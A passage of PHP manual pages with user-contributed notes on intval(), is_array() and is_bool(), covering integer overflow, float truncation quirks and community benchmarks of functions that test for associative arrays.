mkamerma at science dot uva dot nl 06-Mar-2006 11:48
As addendum, the "if ($int > 0)" check in the encode function is redundant. It doesn't do anything bad to keep it in since it will always be true when reaching that point, but it's a meaningless conditional this way. It's a remnant from when I tried to write the function in terms of bitshifts, which could lead to negative ints when shifting if the 32nd bit was set (instead of always padding with 0's when using >> it pads with 1's leading to negative ints).
mkamerma at science dot uva dot nl 05-Mar-2006 02:04
When you need to work with integer values that exceed maxint, the following functions may be of use to you - they form a codec pair for integers of variable length rather than fixed length, encoded in a byte as a 7 bit numberal with a 1 bit has-more flag, indicating that the next byte encodes a higher order part of the same number still.

<?php
/* encode integer as 7bit with has-more bit numeral,
    ordered lowest byte first. */
function encode_7bhm($int) {
  if ($int==0) return chr(0); // shortcut
  $ret = "";
  while($int != 0) {
    $high = floor($int / 128);     // overflow for this round
    $low = $int - ($high * 128); // 7 bit numeral
    if ($int > 0) {
      if ($high > 0) { $low = $low + 128; } // has-more flag
      $ret .= chr($low); } //encode
    $int = $high;  // set overflow as next round's number
  }
  return $ret;
}

/* decode a 7bit with has-more bit numeral,
    ordered lowest byte first. */
function decode_7bhm($hmb) {
  $ret = 0;
  $pos = 0;
  $high = 1;
  while($high == 1) {
    $byte = ord(substr($hmb, $pos, 1));
    $high = floor($byte/128); // gets has-more flag
    $low = $byte - ($high*128);
    $ret += $low * pow(128, $pos++); // decode
  }
  return $ret;
}
?>

This codec pair is also quite useful when needing to write ints to files, as this is a low-numeral biased encoding: most of the time this will only require 8 or 16 bit rather than the 32 bits an int will use in fixed-length encoding.

The encoding range:

  1 byte  - 0 through 128 (2^7)
  2 bytes - 129 through 16,384 (2^14)
  3 bytes - 16,385 through 2,097,152 (2^21)
  4 bytes - 2,097,153 through 268,435,456 (2^28)

while indeed a 32 bit encoded variable length integer will be lower than maxint, rather than needing a new 32 bit block to represent higher range only 8 more bits are required to represent this higher number (for completeness the range of representation by bytes 5-8 are listed):

  5 bytes - 268,435,457 through 34,359,738,368 (2^35)
  6 bytes - 343,59,738,369 through 4,398,046,511,104 (2^42)
  7 bytes - 4,398,046,511,105 through 562,949,953,421,312 (2^49)
  8 bytes - 562,949,953,421,313 through 720,57,594,037,927,936 (2^56)

Also for completeness, the function to read a 7 bit with has-more bit from a filepointer:

<?php
// read a 7bhm numeral from file
function read_7bhm($fp) {
  $bytestring = "";
  $high = 1;
  while($high==1) {
    $byte = fread($fp, 1);
    $high = floor(ord($byte)/128); // check for has-more bit
    $bytestring .= $byte;
  }
  return decode_7bhm($bytestring); }
?>
simon at npkk dot cz 30-Jan-2006 08:03
Still have on mind, that if you convert big numbers by adding zero, PHP makes automatic "to a float" conversion, so it is same as floatVal(). So if the number is realy big (over 13 digits), you can lose preciosity. Do not use it for such long numbers, if all bits do matter (IPv6 addresses and similar).
simon at npkk dot cz 30-Jan-2006 06:48
intval() returns maxint on number_in_string, if the result would be bigger than it. But for float returns the signed 32 bit integer with the "same" value:
<?php
$num=-1000;
print($num."\n");
$i_str=sprintf("%u",$num);
print($i_str."\n");
$i1=intval($i_str);
print($i1."\n");
$i2=intval(floatval($i_str));
print($i2."\n");
?>

prints:

-1000
4294966296
2147483647
-1000
anonymous at place dot com 17-Jan-2006 09:37
re: Disturbing issue with intval()

It's probably just good practice to round decimals anyways.  i.e...

$amount = round(19.99 * 100);
$test2 = intVal($amount);
$test3 = intVal("$amount");

echo $test2 . "<br />\n";
echo $test3 . "<br />\n";
Ben Laurienti 16-Jan-2006 01:21
You guys are going to love this.  I found something that I found quite disturbing.

$test1 = intVal(1999);

$amount = 19.99 * 100;
$test2 = intVal($amount);
$test3 = intVal("$amount");

echo $test1 . "<br />\n";
echo $test2 . "<br />\n";
echo $test3 . "<br />\n";

expected output:
1999
1999
1999

actual output
1999
1998
1999

Appears to be a floating point issue, but the number 1999 is the only number that I was able to get to do this.  19.99 is the price of many things, and for our purpose we must pass it as 1999 instead of 19.99.
adspeed.com 29-Jul-2005 08:32
Say you have a string $s="3763328634" to be used as a key into the database, intval() this string will result in a different,smaller number (depends on the machine/OS). To keep the number intact but as an int/long type, do $s +=0; instead.
23-May-2004 08:38
When trying to read 32bit values (32 bit limitation depends on the word size of your machine)  from a string that is represented in hex with the high bit set,
eg. F9833234

intval returns -1. The reason is the sign bit being set. This number is larger than can be saved in a signed int.

The way around this is to read the value in using two calls to intval.

eg.

$val = intval(substr($str,0,4), 16); // read high 16 bit word
$val <<= 16; // shift hi word correct position
$val |= intval(substr($str, 4, 4), 16); //  read low 16 bit word
tuxedobob at mac dot com 07-Feb-2004 04:56
Sometimes intval just won't cut it. For example if you want to use an unsigned 32-bit int and need all 32 bits. Recently, I wrote a little script that took and integer and converted it to an IP address. After realizing I couldn't just mod the whole thing, since the sign bit throws it off (and compensating for that), we ran into a problem where if it was entered into a form, the value somehow wasn't converted to an integer properly, at least not implicitly. The solution for this, and the way I recommend converting a string to an integer, is:

$num = $num + 0;

and PHP will leave your number alone; it'll just know it's a number. Such is the fun of a loosely-typed language. :)
Robin Y. Millette http://rym.waglo.com 15-May-2003 01:29
Rob_Kohr at no_need_to_email dot me dot com
11-Nov-2002 12:24

[snip]

$var=intval("122.5");
//$var==122

This is nice if you want to turn a double into an int automatically rounding down

Hum, I had a bug earlier today, involving ===. Coming from a c++ background, I can't help testing for types. I was using floor() to get an integer from a division by 2, and comparing that to a known integer from a for loop. Well, first I changed the === to == because the test would always be false otherwise. Next, I looked up this function, and converted most of my floor() calls to intval() calls, because I really meant to get an int, and not a float with no decimal part. So I have to disagree with the editor note here. Oh, and I'm comfortably back to using ===.
zak at php dot net 12-Aug-2000 01:38
intval converts doubles to integers by truncating the fractional component of the number.

When dealing with some values, this can give odd results.  Consider the following:

print intval ((0.1 + 0.7) * 10);

This will most likely print out 7, instead of the expected value of 8.

For more information, see the section on floating point numbers in the PHP manual (http://www.php.net/manual/language.types.double.php)

Also note that if you try to convert a string to an integer, the result is often 0.

However, if the leftmost character of a string looks like a valid numeric value, then PHP will keep reading the string until a character that is not valid in a number is encountered.

For example:

"101 Dalmations" will convert to 101

"$1,000,000" will convert to 0 (the 1st character is not a valid start for a number

"80,000 leagues ..." will convert to 80

"1.4e98 microLenats were generated when..." will convert to 1.4e98

Also note that only decimal base numbers are recognized in strings.

"099" will convert to 99, while "0x99" will convert to 0.

One additional note on the behavior of intval.  If you specify the base argument, the var argument should be a string - otherwise the base will not be applied.

For Example:

print intval (77, 8);   // Prints 77
print intval ('77', 8); // Prints 63


检测变量是否是数组

  • ? intval
  • is_bool ?
  • PHP Manual
  • Variable handling 函数
  • 检测变量是否是数组

is_array

(PHP 4, PHP 5, PHP 7)

is_array — 检测变量是否是数组

描述

is_array ( mixed $var ) : bool

如果 var 是 array，则返回 TRUE，否则返回 FALSE。

参见 is_float()、is_int()、is_integer()、is_string() 和 is_object()。

User Contributed Notes

Daniel 14-Jul-2019 06:54
The next post is not correct because has problems with blank array index:
https://www.php.net/manual/es/function.is-array.php#89332

The next code use the above link php code

<?php
function is_assoc($var)
{
        return is_array($var) && array_diff_key($var,array_keys(array_keys($var)));
}

function test($var)
{
        echo is_assoc($var) ? "I'm an assoc array.\n" : "I'm not an assoc array.\n";
}

// an assoc array
$a = array("a"=>"aaa","b"=>1,"c"=>true);
test($a);

// maybe assoc array?
$b = array(0 => "aaa", 1 => 1, 3 => true); // Index 2 not exist
test($b);
?>

# Output
I'm an assoc array.
I'm an assoc array.

"Associative arrays are arrays that use named keys that you assign to them."
https://www.w3schools.com/php/php_arrays.asp

Solution:

<?php
function is_assoc(array $array)
{
    return count(array_filter(array_keys($array), 'is_string')) > 0;
}
function test(array $array)
{
    echo is_assoc($array) ? "I'm an assoc array.\n" : "I'm not an assoc array.\n";
}
// an assoc array
$a = array("a"=>"aaa","b"=>1,"c"=>true);
test($a);
// an array
$b = array(0=>"aaa",1=>1,3=>true);
test($b);
?>

# Output
I'm an assoc array.
I'm not an assoc array.

If you want check pure assoc. array replace > 0 by === count($array)
lrgbx0 at gmail dot com 10-May-2018 08:48
is_assoc() Benchmark:

<?php

function is_assoc1($array) {
    if (!is_array($array)) return false;
    $i = count($array);
    while ($i > 0) unset($array[--$i]);
    return (bool)$array;
}

function is_assoc2(&$array) {
    if (!is_array($array)) return false;
    $i = count($array);
    while ($i > 0) {
        if (!isset($array[--$i])) return true;
    }
    return false;
}

function is_assoc3(&$array) {
    if (!is_array($array)) return false;
    $i = count($array);
    while ($i > 0) {
        if (!array_key_exists(--$i, $array)) return true;
    }
    return false;
}

function is_assoc4($array) {
    if (!is_array($array)) return false;
    ksort($array);
    foreach (array_keys($array) as $k => $v) {
        if ($k !== $v) return true;
    }
    return false;
}

function is_assoc5(&$array) {
    return is_array($array) && array_diff_key($array, array_keys($array));
}

$arr1 = array(); // not associative
$arr2 = $arr3 = array('foo', 'bar', 'baz', 'foo', 'bar', 'baz', 'foo', 'bar', 'baz', 'foo'); // not associative
asort($arr3); // not associative, shuffled keys
$arr4 = array('foo', 'bar', 'baz', 'foo', 'bar', null, 'foo', 'bar', 'baz', 'foo'); // not associative but is_assoc2() thinks it is
$arr5 = array(0 => 'foo', 1 => 'bar', 2 => 'baz', 3 => 'foo', 4 => 'bar', 5 => 'baz', 'foo3' => 'foo', 'bar3' => 'bar', 'baz3' => 'baz', 'foo4' => 'foo'); // associative

$i = $j = 0;
$time = array(0.0, 0.0, 0.0, 0.0, 0.0);

for ($j = 0; $j < 2000; $j++) {
    $time[0] -= microtime(true);
    for ($i = 0; $i < 1000; $i++) {
        if (is_assoc1($arr1) || is_assoc1($arr2) || is_assoc1($arr3) || is_assoc1($arr4) || !is_assoc1($arr5)) {
            echo 'error';
            break;
        }
    }
    $time[0] += microtime(true);
    $time[1] -= microtime(true);
    for ($i = 0; $i < 1000; $i++) {
        if (is_assoc2($arr1) || is_assoc2($arr2) || is_assoc2($arr3) || !is_assoc2($arr4) || !is_assoc2($arr5)) { // $arr4 tweaked
            echo 'error';
            break;
        }
    }
    $time[1] += microtime(true);
    $time[2] -= microtime(true);
    for ($i = 0; $i < 1000; $i++) {
        if (is_assoc3($arr1) || is_assoc3($arr2) || is_assoc3($arr3) || is_assoc3($arr4) || !is_assoc3($arr5)) {
            echo 'error';
            break;
        }
    }
    $time[2] += microtime(true);
    $time[3] -= microtime(true);
    for ($i = 0; $i < 1000; $i++) {
        if (is_assoc4($arr1) || is_assoc4($arr2) || is_assoc4($arr3) || is_assoc4($arr4) || !is_assoc4($arr5)) {
            echo 'error';
            break;
        }
    }
    $time[3] += microtime(true);
    $time[4] -= microtime(true);
    for ($i = 0; $i < 1000; $i++) {
        if (is_assoc5($arr1) || is_assoc5($arr2) || is_assoc5($arr3) || is_assoc5($arr4) || !is_assoc5($arr5)) {
            echo 'error';
            break;
        }
    }
    $time[4] += microtime(true);
}

echo 'is_assoc1(): ' . $time[0] . "\n";
echo 'is_assoc2(): ' . $time[1] . "\n";
echo 'is_assoc3(): ' . $time[2] . "\n";
echo 'is_assoc4(): ' . $time[3] . "\n";
echo 'is_assoc5(): ' . $time[4] . "\n";

?>

is_assoc1() - uses unset(), a bit slow, but mem friendly and no function calls
is_assoc2() - uses isset(), fastest one, but returns TRUE whenever array contains NULL
is_assoc3() - fixed is_assoc2(), uses array_key_exists(), fast and memory friendly, and much smarter than the following (no need to check all those keys)
is_assoc4() - alex' version with proper check and key sorting
is_assoc5() - fixed a bit JTS' version, really nice one, but uses too many functions and checks all keys

Results:

is_assoc1(): 2.1628699302673
is_assoc2(): 1.1079933643341
is_assoc3(): 1.7120850086212
is_assoc4(): 3.9194552898407
is_assoc5(): 1.9509885311127
rik at mmod dot co 12-Apr-2018 05:39
Using is_array prior to an in_array within an if clause will safely escape a check against a variable that could potentially be a non-array when using in_array.  For instance:

NOTE: A real use case might be that we have a list of possible flags which  in a database we have stored whether each of the flags are 0 or 1.  We want a list of the flags which have the value of 1 to be returned.

Our example here will not use so many technical artifacts, but will be based on similar logic just to get the point across.

<?php

// We have a list of known values
$knownVars = ['apple', 'orange'];

// A list of values to check
$listToCheck = ['pear', 'banana'];

// And a method that takes a list of values to check and returns a new list
// of the items from said list that are found to be valid...
public function getValidItemsList( $listToCheck /*['pear', 'banana']*/)
{
    $returnList = [];
    foreach($listToCheck as $key => $val)
    {
        if(in_array($val, $knownVars))
        {
            array_push($returnList, $val);
        }
    }

    if(empty($returnList))
    {
        // We have a special case if there were no valid items found, which is the case we are going over
        return  -1;
    }

    // Otherwise, normally returns a list of the items that were found to be valid
    return $returnList;
}

// Call the method and check for any valid items that can be used for some purpose
$validItemsList =  getValidItemsList($listToCheck);

// In this usage we could potentially get an exception because
// in_array() expects an array for argument #2, checking that the value != -1 does not escape the if statement:
if(isset($validItemsList) && $validItemsList != -1 && in_array('apple', $validItemsList))
{
    //...
}

// In this usage, we break free from the if statement safely:
if(isset($validItemsList) && $validItemsList != -1 && is_array($validItemsList) && in_array('apple', $validItemsList))
{
    //...
}

?>

Hope that can help someone, I know it helped me.
gwschnell at ewe dot net 22-Mar-2018 04:58
An error will be thrown If is_array() is applied to a nonexisting varble.
carren at AngieBecker dot ch 26-Sep-2017 08:48
This is probably the best way to test for associative arrays:

<?php
function is_assoc($test) {
        if (empty($test)) { return(false); }
        if (!is_array($test)) { return(false); }
        return ($test !== array_values($test));
}
?>

This version is based on the one from dmitry dot sushilov, which is unfortunately exactly opposite and misses the is_array and empty test.
http://php.net/manual/en/function.is-array.php#115901
marko at newvibrations dot net 20-Oct-2016 12:08
hperrin at gmail dot com
i tested modified version of your code:

<?php
$test = array_fill(0, $size, rand());
$test3 = (object) $test;
?>

Results are quite different!

PHP 5.5:
is_array - execution time is constant over different $size
cast, === - execution time is proportional with $size, for small arrays, it's faster than is_array, but for bigger arrays, it's way slower. Also, bigger memory allocation because casting actually allocates memory

PHP 7.0:
is_array and cast, === have constant execution time over different $size:
is_array  :  0.12564396858215
cast, === :  0.24629783630371

Looks like casting is optimised, but still slower.

Bottom line is: optimisation is not done for special scenario, but for average use and scalability. Don't reinvent wheel.
Rob Thomas 05-Oct-2016 10:40
Please note that the 'cast to array' check is horrendously out of date.

Running that code against PHP 5.6 results in this:

is_array  :  0.93975400924683
cast, === :  1.2425191402435

So, please use 'is_array', not the horrible casting hack.
mt at banita dot de 08-Sep-2016 09:30
I'm using PHP 5.3.10 and the remark from hperrin is not (no longer?) valid

is_array is (now?) faster than if ( (array) $unknown !== $unknown )

my result of hperrins test script

is_array  :  0.61710119247437
cast, === :  1.1551909446716
ari at umbrella dot bz 05-Sep-2016 08:34
hperrin's results have indeed changed in PHP 7. The opposite is now true, is_array is faster than comparison:

is_array  :  0.52148389816284
cast, === :  0.84179711341858

Tested 1000000 iterations.
mbrodala at pagemachine dot de 24-Aug-2016 01:22
Notice that the benchmark results from hperrin at gmail dot com have changed in the meantime:

is_array  :  0.31888604164124
cast, === :  0.58448791503906

(Using PHP 5.6.24, I expect other results with PHP 7)
dmitry dot sushilov at gmail dot com 12-Oct-2014 12:49
function is_associate_array($array)
{
    return $array === array_values($array);
}

or you can add check is_array in functions
joksnet at gmail dot com 08-Oct-2013 10:17
Here is something for compare `is_assoc` functions.

<?php
function is_assoc1($var)
{
    return is_array($var) && array_diff_key($var, array_keys(array_keys($var)));
}

function is_assoc2($var)
{
    return is_array($var) && array_diff_key($var, array_fill(0, count($var), null));
}

$count = 1000000;

$a = array('a' => 'foo', 'b' => 1, 'c' => true);
$b = array('a', 'b', 'c');

$i = $start_time = $end_time = 0;

$start_time = microtime(true);
for ($i = 0; $i < $count; $i++) {
    assert(is_assoc1($a) === true);
    assert(is_assoc1($b) === false);
}
$end_time = microtime(true);
echo 'is_assoc1  :  ' . ($end_time - $start_time) . "\n";

$start_time = microtime(true);
for ($i = 0; $i < $count; $i++) {
    assert(is_assoc2($a) === true);
    assert(is_assoc2($b) === false);
}
$end_time = microtime(true);
echo 'is_assoc2  :  ' . ($end_time - $start_time) . "\n";
?>

It prints something like this:

```
% php is_assoc.php
is_assoc1  :  19.36315202713
is_assoc2  :  18.954080104828
```

The first one is from
skaimauve (http://www.php.net/manual/en/function.is-array.php#89332). The second one is mine.
magentix at gmail dot com 26-Feb-2011 09:12
If you wanted to have 'pure' associative arrays,
you could filter out non-string keys and then compare the count of the original array with the count of the filtered array.

<?php
    // Only validates empty or completely associative arrays
    function is_assoc ($arr) {
        return (is_array($arr) && count(array_filter(array_keys($arr),'is_string')) == count($arr));
    }

    $a = '';
    $b = 'z';
    $c = array();
    $d = array('x','y','z');
    $e = array('x','y','zed'=>'z');
    $f = array('ex'=>'x','why'=>'y','zed'=>'z');

    echo '$a: ' . ( (is_assoc($a)) ? 'true' : 'false' ) ."\n"; // False
    echo '$b: ' . ( (is_assoc($b)) ? 'true' : 'false' ) ."\n"; // False
    echo '$c: ' . ( (is_assoc($c)) ? 'true' : 'false' ) ."\n"; // True
    echo '$d: ' . ( (is_assoc($d)) ? 'true' : 'false' ) ."\n"; // False
    echo '$e: ' . ( (is_assoc($e)) ? 'true' : 'false' ) ."\n"; // False
    echo '$f: ' . ( (is_assoc($f)) ? 'true' : 'false' ) ."\n"; // True
?>

I've tested the point of checking whether the array is empty first.
The overall result was a 200% speed increase when the array was indeed empty,
but an average 10% slow when it had elements inside.

<?php
    /***********************************************************
     *    Benchmarks: checking for empty array vs. not checking  *
     ***********************************************************/

    // With empty check
    function is_assoc ($arr) {
        return (is_array($arr) && (!count($arr) || count(array_filter(array_keys($arr),'is_string')) == count($arr)));
    }

    function test_speed($arr) {
        $t = microtime(true);
        for($i = 0; $i < 100000; ++$i) is_assoc($arr);
        return (microtime(true) - $t);
    }

    echo '$a: ' . test_speed($a) ."\n"; // 0.20597505569458
    echo '$b: ' . test_speed($b) ."\n"; // 0.19199514389038
    echo '$c: ' . test_speed($c) ."\n"; // 0.28803396224976
    echo '$d: ' . test_speed($d) ."\n"; // 0.94685983657837
    echo '$e: ' . test_speed($e) ."\n"; // 0.96698403358459
    echo '$f: ' . test_speed($f) ."\n"; // 0.98052096366882

    // Without empty check
    function is_assoc_2 ($arr) {
        return (is_array($arr) && count(array_filter(array_keys($arr),'is_string')) == count($arr));
    }

    function test_speed_2($arr) {
        $t = microtime(true);
        for($i = 0; $i < 100000; ++$i) is_assoc_2($arr);
        return (microtime(true) - $t);
    }

    echo '$a: ' . test_speed_2($a) ."\n"; // 0.18811202049255 = FASTER:  91.3% of is_assoc
    echo '$b: ' . test_speed_2($b) ."\n"; // 0.18782901763916 = FASTER:  97.8% of is_assoc
    echo '$c: ' . test_speed_2($c) ."\n"; // 0.64437484741211 = SLOWER: 223.7% of is_assoc
    echo '$d: ' . test_speed_2($d) ."\n"; // 0.84632205963135 = FASTER:  89.4% of is_assoc
    echo '$e: ' . test_speed_2($e) ."\n"; // 0.86739897727966 = FASTER:  89.7% of is_assoc
    echo '$f: ' . test_speed_2($f) ."\n"; // 0.87963700294495 = FASTER:  89.7% of is_assoc
?>
JTS 08-Jun-2010 04:22
I would change the order of the comparison, because if it is really an empty array, it is better to stop at that point before doing several 'cpu & memory intensive' function calls.

In the end on a ratio of 3 not empty arrays to 1 empty array computed for 1000000 iterations it needed 10% less time.
Or the other way round:
It needed approx 3% to 4% more time if the array is not empty, but was at least 4 times faster on empty arrays.

Additionally the memory consumption veritably lesser.

<?php
function is_assoc($array) {
    return (is_array($array) && (count($array)==0 || 0 !== count(array_diff_key($array, array_keys(array_keys($array))) )));
}
?>
hperrin at gmail dot com 28-May-2010 10:02
I've found a faster way of determining an array. If you use is_array() millions of times, you will notice a *huge* difference. On my machine, this method takes about 1/4 the time of using is_array().

Cast the value to an array, then check (using ===) if it is identical to the original.

<?php
if ( (array) $unknown !== $unknown ) {
    echo '$unknown is not an array';
} else {
    echo '$unknown is an array';
}
?>

You can use this script to test the speed of both methods.

<pre>
What's faster for determining arrays?

<?php

$count = 1000000;

$test = array('im', 'an', 'array');
$test2 = 'im not an array';
$test3 = (object) array('im' => 'not', 'going' => 'to be', 'an' => 'array');
$test4 = 42;
// Set this now so the first for loop doesn't do the extra work.
$i = $start_time = $end_time = 0;

$start_time = microtime(true);
for ($i = 0; $i < $count; $i++) {
    if (!is_array($test) || is_array($test2) || is_array($test3) || is_array($test4)) {
        echo 'error';
        break;
    }
}
$end_time = microtime(true);
echo 'is_array  :  '.($end_time - $start_time)."\n";

$start_time = microtime(true);
for ($i = 0; $i < $count; $i++) {
    if (!(array) $test === $test || (array) $test2 === $test2 || (array) $test3 === $test3 || (array) $test4 === $test4) {
        echo 'error';
        break;
    }
}
$end_time = microtime(true);
echo 'cast, === :  '.($end_time - $start_time)."\n";

echo "\nTested $count iterations."

?>
</pre>

Prints something like:

What's faster for determining arrays?

is_array  :  7.9920151233673
cast, === :  1.8978719711304

Tested 1000000 iterations.
Anonymous 16-May-2009 02:18
Using empty() in the previous example posted by Anonymous will result in a "Fatal error: Can't use function return value in write context".  I suggest using count() instead:

<?php
function is_assoc($array) {
    return (is_array($array) && 0 !== count(array_diff_key($array, array_keys(array_keys($array)))));
}
?>
skaimauve at yahoo dot ca 03-Mar-2009 12:12
Or you could make use of the array_diff_key and array_key function:

<?php

function is_assoc($var)
{
        return is_array($var) && array_diff_key($var,array_keys(array_keys($var)));
}

function test($var)
{
        echo is_assoc($var) ? "I'm an assoc array.\n" : "I'm not an assoc array.\n";
}

// an assoc array
$a = array("a"=>"aaa","b"=>1,"c"=>true);
test($a);

// an array
$b = array_values($a);
test($b);

// an object
$c = (object)$a;
test($c);

// other types
test($a->a);
test($a->b);
test($a->c);

?>

The above code outputs:
I'm an assoc array.
I'm not an assoc array.
I'm not an assoc array.
I'm not an assoc array.
I'm not an assoc array.
I'm not an assoc array.
Matthias Loitsch 03-Dec-2008 11:36
Or you could make use of the array_diff_key and range functions:

<?php

function isVector($var) { return count(array_diff_key($var, range(0, count($var) - 1))) == 0; }

function isAssociative($var) { return !isVector($var); }

?>
jim at akubo dot net 28-Oct-2008 11:02
yousef's example was wrong because is_vector returned true instead of false if the key was found
here is the fixed version (only 2 lines differ)
<?php
function is_vector( &$array ) {
   if ( !is_array($array) || empty($array) ) {
      return -1;
   }
   $next = 0;
   foreach ( $array as $k => $v ) {
      if ( $k !== $next ) return false;
      $next++;
   }
   return true;
}
?>
yousuf at philipz dot com 16-Oct-2008 03:41
alex frase's example is fast but elanthis at awesomeplay dot com's example is faster and Ilgar's modification of alex's code is faulty (the part " || $_array[$k] !== $v"). Also, Ilgar's suggestion of giving a false return value when the variable isnt an array is not suitable in my opinion and i think checking if the array is empty would also be a suitable check before the rest of the code runs.

So here's the modified (is_vector) version

<?php
function is_vector( &$array ) {
   if ( !is_array($array) || empty($array) ) {
      return -1;
   }
   $next = 0;
   foreach ( $array as $k => $v ) {
      if ( $k !== $next ) return true;
      $next++;
   }
   return false;
}
?>

and the modified (alex's is_assoc) version

<?php
function is_assoc($_array) {
    if ( !is_array($_array) || empty($array) ) {
        return -1;
    }
    foreach (array_keys($_array) as $k => $v) {
        if ($k !== $v) {
            return true;
        }
    }
    return false;
}
?>
alex frase 16-Jul-2008 08:05
Yet another simpler, faster is_assoc():

<?php
function is_assoc($array) {
  foreach (array_keys($array) as $k => $v) {
    if ($k !== $v)
      return true;
  }
  return false;
}
?>

In my tests it runs about twice as fast as Michael/Gabriel's array_reduce() method.

(Speaking of which: Gabriel's version doesn't work as written; it reports associative arrays as numeric if only the first key is non-numeric, or if the keys are numeric but ordered backwards.  Michael solves this problem by comparing array_reduce() to count(), but that costs another function call; it also works to just compare to -1 instead of 0, and therefore return -1 as the ternary else from the callback).
Michael 11-Sep-2007 12:37
A slight modification of what's below:

<?php

function is_assoc($array)
{
    return is_array($array) && count($array) !== array_reduce(array_keys($array), 'is_assoc_callback', 0);
}

function is_assoc_callback($a, $b)
{
    return $a === $b ? $a + 1 : 0;
}

?>
gabriel at bumpt dot nothing-here dot net 29-Aug-2007 08:34
Yet another safer, faster way of detecting whether an array is associative.

The principle is: using array reduction on the keys, we verify that each key is numeric and is equal to its rank.

Beware: integer keys that are not in sequence, or are negative, or with "holes", still make an associative array.

<?php
/**
  * @param array $arr
  * @returns boolean
  */
function isNotAssocArray($arr)
{
    return (0 !== array_reduce(
        array_keys($arr),
        create_function('$a, $b', 'return ($b === $a ? $a + 1 : 0);'),
        0
        )
    );
}
?>

Of course, it is still faster if the callback for array_reduce is not an anonymous function:

<?php
function callbackReduceNotArray($a, $b)
{
    return ($b === $a ? $a + 1 : 0);
}
function isVector($arr)
{
    return (0 !== array_reduce(
        array_keys($arr),
        'callbackReduceNotArray',
        0
        )
    );
}
?>
Alfred J Fazio <alfred dot fazio at gmail dot com> 04-Apr-2007 04:32
Yet another associative array test:

<?php
function binary_nand ($a, $b) { return !$a && !$b; }
function binary_nor ($a, $b)  { return !$a || !$b; }

// Returns true if array has elements with non-numeric keys
function is_associative_array ($arr) {
  return is_array($arr) && !empty($arr) && array_reduce(array_map("is_numeric", array_keys($arr)), "binary_nor", true);
}

// Returns true if all elements of array have a non-numeric key
function is_strict_associative_array ($arr) {
  return is_array($arr) && !empty($arr) && array_reduce(array_map("is_numeric", array_keys($arr)), "binary_nand", false);
}
?>
angelo [at] mandato <dot> com 26-Feb-2007 01:32
The is_associative_array() and is_sequential_array() functions posted by 'rjg4013 at rit dot edu' are not accurate.

The functions fail to recognize indexes that are not in sequence or in order.  For example, array(0=>'a', 2=>'b', 1=>'c') and array(0=>'a', 3=>'b', 5=>'c') would be considered as sequential arrays. A true sequential array would be in consecutive order with no gaps in the indices.

The following solution utilizes the array_merge properties. If only one array is given and the array is numerically indexed, the keys get re-indexed in a continuous way.  The result must match the array passed to it in order to truly be a numerically indexed (sequential) array.  Otherwise it can be assumed to be an associative array (something unobtainable in languages such as C).

The following functions will work for PHP >= 4.

<?php
    function is_sequential_array($var)
    {
        return (array_merge($var) === $var && is_numeric( implode( array_keys( $var ) ) ) );
    }

    function is_assoc_array($var)
    {
        return (array_merge($var) !== $var || !is_numeric( implode( array_keys( $var ) ) ) );
    }
?>

If you are not concerned about the actual order of the indices, you can change the comparison to == and != respectively.
jupiter at nospam dot com 29-May-2006 11:42
Will check a Multi-Dimentional Array to any specified level.  This is a fix to 11/16/05 submission, which would break since you must supply a foreach with an array. Beware recursive functions shouldn't go over 100 deep or could break the memory stack on server.

<?php
// checks for multiarray to defined depth level recursively
// original $level must be 2 or more, else will instantly return true
function isDeepMultiArray($multiarray, $level = 2) {  // default is simple multiarray
    if (is_array($multiarray)) {  // confirms array
        if ($level == 1) {  // $level reaches 1 after specified # of recursions
            return true;  // returns true to recursive function conditional
        }  // end conditional
        foreach ($multiarray as $array) {  // goes one level deeper into array
            if (isDeepMultiArray($array, $level - 1)) {  // check subarray
                $message = "I'm a multiarray";  // optional message
                return $message;  // best if $message = true so function returns boolean
            }  // end recursive function
        }  // end loop
    } else {  // not an array at specified level
    return false;  // is also used recursively so can't change to message
    }
}

if (isDeepMultiArray(array(array()), 2)); // beware this returns true eventhough arrays are empty

?>
BTW my notation is consistent with the PEAR manual on coding standards, which is what php.net says to follow. I hope a function like this gets included in PHP6.
jupiter at nospam dot com 29-May-2006 09:15
Simple check for a Multi-Dimentional Array of any depth
<?php
// checks for multiarray (2 or more levels deep)
function isMultiArray($multiarray) {
  if (is_array($multiarray)) {  // confirms array
    foreach ($multiarray as $array) {  // goes one level deeper
      if (is_array($array)) {  // is subarray an array
        return true;  // return will stop function
      }  // end 2nd check
    }  // end loop
  }  // end 1st check
  return false;  // not a multiarray if this far
}
?>
March 30-Mar-2006 06:28
And here is another variation for a function to test if an array is associative. Based on the idea by mot4h.

<?php
function is_associative($array)
{
  if (!is_array($array) || empty($array))
    return false;

  $keys = array_keys($array);
  return array_keys($keys) !== $keys;
}
?>
dan at cain dot sh 10-Dec-2004 05:05
is_array() under PHP 5.0.2 will return FALSE when passed an object descended from the internal class interface ArrayAccess(http://www.php.net/spl) even though said object behaves as an array would in most instances.

I've found the following user function helpful with my own classes and functions that expect array(s) as arguments, but work fine with objects that behave as an array would.

<?php
function is_array_abled(&$x)
{
    return (bool)($x instanceof ArrayAccess or is_array($x));
}
?>
vhermecz at ixpert dot hu 01-Apr-2004 04:58
Mike's function is quite cool, it is just the one, I was searching for. Using range is a great idea! But it's a bit long for me. Here is a shorter version:

<?php
function is_assoc_array($var) {
    if (!is_array($var)) {
        return false;
    }
    return array_keys($var)!==range(0,sizeof($var)-1);
}
?>

Or, if you don't want to type that much:

<?php
function is_assoc($var) {
    return is_array($var) && array_keys($var)!==range(0,sizeof($var)-1);
}
?>


检测变量是否是布尔型

  • ? is_array
  • is_callable ?
  • PHP Manual
  • Variable handling 函数
  • 检测变量是否是布尔型

is_bool

(PHP 4, PHP 5, PHP 7)

is_bool — 检测变量是否是布尔型

描述

is_bool ( mixed $var ) : bool

如果 var 是 boolean 则返回 TRUE。

Example #1 is_bool() 示例

<?php
$a = false;
$b = 0;

// 因为 $a 是布尔型，所以结果为真
if (is_bool($a)) {
    print "Yes, this is a boolean";
}

// 因为 $b 不是布尔型，所以结果为非真
if (is_bool($b)) {
    print "Yes, this is a boolean";
}
?>

参见 is_array()、is_float()、is_int()、is_integer()、is_string() 和 is_object()。

User Contributed Notes

phil 10-Jan-2019 06:21
It should be stated that this function returns true if the _type_ of it's argument is boolean. It does not convert or coerce the value to a boolean type, not sure why so many comments focus on how to do this.
However, if you arrived here looking for a solution to convert a value to a boolean type, use this:

to_bool($x) { return (bool)$x; }
Michael Smith 17-Nov-2013 01:17
The function in the last comment also converts the string 'false' to a true boolean. Here's a function that does what I think was intended:

<?php
function toBool($var) {
  if (!is_string($var)) return (bool) $var;
  switch (strtolower($var)) {
    case '1':
    case 'true':
    case 'on':
    case 'yes':
